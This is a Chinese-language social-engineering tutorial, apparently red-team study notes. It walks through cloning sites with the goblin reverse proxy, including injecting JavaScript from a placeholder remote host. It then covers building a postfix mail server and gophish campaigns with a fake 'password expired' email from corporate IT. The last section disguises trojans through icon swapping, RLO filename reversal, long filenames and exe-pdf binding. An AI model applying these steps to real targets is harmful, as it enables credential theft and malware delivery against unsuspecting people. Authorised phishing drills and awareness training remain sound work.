社会工程学
目录
- 社会工程学介绍
- goblin
- 1、下载解压运行
- 2、修改配置文件,克隆页面
- 3、重新运行,使配置生效
- 4、注入 js 模块
- 搭建钓鱼平台
- 1、搭建smtp服务
- 1)确定服务器是否满足自建smtp服务
- 2)安装postfix
- 3)修改配置文件
- 4)启动postfix服务
- 5)发送测试邮件
- 2、安装gophish
- 1)下载解压缩
- 2)修改配置文件
- 3)运行gophish
- 4)访问gophish
- 3、gophish的使用
- 1)新建发送配置文件Sending Profiles
- 2)伪装登录页Landing Pages
- 3)设置邮件模版Email Templates
- 4)设置用户组New Group
- 5)开始发送Campaigns
- 6)模仿用户中招
- 1、搭建smtp服务
- 木马伪装
- Resource Hacker替换图标
- 提取软件图标
- 修改木马图标
- 长文件名
- RLO字符反转
- pdf和exe做木马捆绑
- Resource Hacker替换图标
社会工程学介绍
社会工程学是一种特殊的攻击方式,与其他利用系统漏洞等网络攻击和入侵不同,社会工程学充分利用了人性中的“弱点”,包括本能反应、好奇心、信任、贪婪等,通过伪装、欺骗、恐吓、威逼等种种方式以达到目的。
信息系统的管理者和使用者都是人,无论信息系统部署了多少安全产品,采取了多少有效的安全技术,如果系统的管理者或者使用者被利用,这些防护技术和措施都将成为摆设。人的因素才是系统的软肋,可以毫不夸张地说,人是信息系统安全防护体系中最不稳定也是最脆弱的环节。
社会工程学攻击是一种复杂的攻击,不能等同于一般的欺骗方法,很多即使是自认为非常警惕及小心的人,一样会被高明的社会工程学攻击所攻破。
goblin
Goblin 是一款适用于红蓝对抗的钓鱼演练工具。通过反向代理,可以在不影响用户操作的情况下无感知的获取用户的信息,或者诱导用户操作。也可以通过使用代理方式达到隐藏服务端的目的。内置插件,通过简单的配置,快速调整网页内容以达到更好的演练效果
- 下载地址:https://github.com/xiecat/goblin
- 使用文档:https://goblin.xiecat.fun/
1、下载解压运行
下载
wget https://github.com/xiecat/goblin/releases/download/v0.4.6/goblin_0.4.6_linux_amd64.tar.gz
解压进入,添加执行权限
chmod a+x goblin
运行程序,会生成一个goblin.yaml
./goblin
Loglevel: 2 # 日志输出
Server: # 服务器一些超时设置默认值即可IdleTimeout: 3m0sReadTimeout: 5m0sWriteTimeout: 5m0sReadHeaderTimeout: 30sProxyHeader: RemoteAddr # 获取真实 IP 默认是访问 IPStaticDir: static # 本地静态文件目录可以放一些工具,方便使用 StaticURI: /tkxfjiftee/ # 静态文件服务器的访问目录
Proxy:MaxIdleConns: 512 # 代理一些配置默认即可IdleConnTimeout: 2m0sTLSHandshakeTimeout: 1m0sExpectContinueTimeout: 1smaxcontentlength: -1 # 处理响应数据最大值默认 20M,超过这个值,插件中需要读取 body 的操作会被取消ProxyServerAddr: "" # 设置代理,设置后通过代理进行网页请求ProxyCheckURL: https://myip.ipip.net/ # 访问此地址检查代理设置是否正确PluginDir: pluginsCertDir: certSite:127.0.0.1:8083: # 请求头的 host 类似于 nginx server_name 如果不匹配 访问不了Listen: 0.0.0.0 # 侦听端口。为 127.0.0.1 那么只能本机访问StaticPrefix: inn3o3pefl # 这个是 InjectJs 模块使用。用于访问注入的 jsSSL: false # httpsCAKey: ""CACert: ""ProxyPass: https://www.douban.com/ # 要代理的地址Plugin: "" # 需要使用的插件,目前只能为一个127.0.0.1:8084:Listen: 0.0.0.0StaticPrefix: 72x0alzmleSSL: falseCAKey: ""CACert: ""ProxyPass: https://www.baidu.comPlugin: demo
Notice:dingtalk:DingTalk: "" # 钉钉提醒地址
iplocation:type: qqwrygeo_license_key: ""
log_file: goblin.log
cache:type: self # 可使用的缓存类型 [redis,none,self] self 缓存到本地,redis 缓存到 redis 。none 不使用缓存expire_time: 10m0s # 缓存失效时间redis:host: 127.0.0.1port: 6379password: tryG3IhrSQdb: 0
CacheType: # 可缓存的路径后缀。目前带有参数的静态文件不做缓存
- png
- jpg
- js
- jpeg
- css
- otf
- ttf
CacheSize: 12582912 # 最大缓存大小
SupportMIME:Enable: falseList:- text- application/json- application/javascript- application/x-javascript- message- application/hta- application/rtf- application/ecmascript- image/svg+xml- application/xhtml- application/xml
OutLog: ## 访问日志输出type: es7 # es7,es6,syslog,file 注意 windows 不支持 syslogloglevel: infoeslog:loglevel: infodsn: http://127.0.0.1:9200index: goblinhost: localhostfilelog:mode: text ## json 或者 textdsn: access.logsyslog:mode: textdsn: 127.0.0.1:514
2、修改配置文件,克隆页面
在Site:下添加新的克隆页面(其实不是克隆,而是反向代理)。
- ProxyPass:克隆的页面(代理的地址)
- Plugin:插件文件名
复制一份demo.yaml为tmooc.yaml(与goblin.yaml配置的Plugin插件名一致)。
插件文件中的内容如下:
Name: demo
Version: 0.0.1
Description: this is a description
WriteDate: "2021-09-06"
Author: goblin
Rule:
- url: /Match: WordReplace: ## 替换模块- Request:Method: ## 匹配到如下请求方式方可替换- GETHeader:goblin: 1.0.1 # 替换的 header 头内容。为空则是删除。Response: # 替换的响应内容Body:Append: <script type='text/javascript'>setTimeout(function(){alert("hello goblin!");}, 2000);</script> # 追加字符串
3、重新运行,使配置生效
其中页面中的弹窗,是由插件文件中设置的。
4、注入 js 模块
append 和 inject模块区别是 inject 直接注入到 js 里面。并且不会追加任何标签。append 是追加到 web 页面上需要标签闭合使用。
- url: /test.jsMatch: wordInjectJs: # 注入 js 模块 File: http://xxx.com/eval.js
搭建钓鱼平台
1、搭建smtp服务
1)确定服务器是否满足自建smtp服务
- 尝试与大厂邮箱的25端口建立连接
telnet smtp.qq.com 25
2)安装postfix
yum -y install postfix
3)修改配置文件
vim /etc/postfix/main.cf
# 设置myhostname
myhostname = mail.test.com
# 设置域名
mydomain = test.com
# 设置$myorigin
myorigin = $mydomain
# 默认是localhost,修改为all
inet_interfaces = all
# 推荐ipv4,如果支持ipv6,则可以写成all
inet_protocols = ipv4
# 设置mydestination
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
# 指定内网和本机的IP地址范围(不同)
mynetworks = 127.0.0.0/8,192.168.0.204/24
# 取消注释,邮件保存目录
home_mailbox = Maildir/
# 取消注释,设置banner
smtpd_banner = $myhostname ESMTP $mail_name
4)启动postfix服务
systemctl restart postfix
5)发送测试邮件
yum -y install mailx
echo "email test" | mail -s "title" xxxx@qq.com
2、安装gophish
- 下载地址:https://github.com/gophish/gophish
- 官网地址:https://getgophish.com/
- 帮助文档:https://docs.getgophish.com/user-guide/
gophish-v0.12.1-linux-64bit.zip
1)下载解压缩
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
2)修改配置文件
vim config.json
admin_server是后台管理页面,将127.0.0.1修改为0.0.0.0,默认开放端口是3333。
phish_server是钓鱼网站,默认开放80端口。
3)运行gophish
chmod a+x ./gophish
./gophish
4)访问gophish
https://IP地址:3333/
输入默认的用户名和密码登录。
然后重置密码:
3、gophish的使用
1)新建发送配置文件Sending Profiles
点击左下角“Send Test Email”测试邮件是否可以发送
邮件成功收到:
测试无问题后,点击页面右下角“Save Profile”进行保存。
2)伪装登录页Landing Pages
- 注意:页面中需要包含form表单和input控件,才可以捕获到数据。
3)设置邮件模版Email Templates
模板和登录页面中提供了以下变量:
提示:请记住 - 模板区分_大小写_!
变量 | 描述 |
---|---|
{{.RId}} | 目标的唯一 ID |
{{.FirstName}} | 目标的名字 |
{{.LastName}} | 目标的姓氏 |
{{.Position}} | 目标的位置 |
{{.Email}} | 目标的电子邮件地址 |
{{.From}} | 受欺骗的发件人 |
{{.TrackingURL}} | 跟踪处理程序的网址 |
{{.Tracker}} | <img src=“{{.TrackingURL}}“/> |
{{.URL}} | 网上诱骗网址 |
{{.BaseURL}} | 去除了路径和删除 参数的基本 URL 。用于创建指向静态文件的链接。 |
比如构建一个密码过期,修改密码的钓鱼邮件:
{{.FirstName}}{{.LastName}}您好:对于邮件 {{.Email}} 的密码已过期.。请点击这里{{.URL}}重置您的密码。谢谢。集团IT运维团队。
也可以点击左下角“Add Files”添加恶意附件。
4)设置用户组New Group
5)开始发送Campaigns
发送成功
6)模仿用户中招
用户成功接收到邮件:
点击链接重置密码,会出现一个伪装的网站。点击登录,输入用户名、密码。
在gophish会显示相应的数据:
木马伪装
Resource Hacker替换图标
- http://angusj.com/resourcehacker/
reshacker_setup.exe
提取软件图标
将软件拖入Resource Hacker,点开Icon,选择一个比较清晰的图标,右击“Save *.ico resource…”。
修改木马图标
将exe的木马文件拖入Resource Hacker,点击"+"图标,点击"Select File…“选择正常的Icon,然后点击"Add Resource”。
之后点击"Save as"另存。
之后可以看到,木马文件的图标成功修改。
长文件名
RLO字符反转
点击文件重命名,光标放在要进行反转的文字前面,右击点击RLO。
文件名后缀成功进行反转:
pdf和exe做木马捆绑
- https://github.com/Yihsiwei/GoFileBinder/releases
GoFileBinder2.5.exe
最优组合:长文件名+图标是文件夹图标
注意:放在文件夹中,打包,长文件名会以点省略。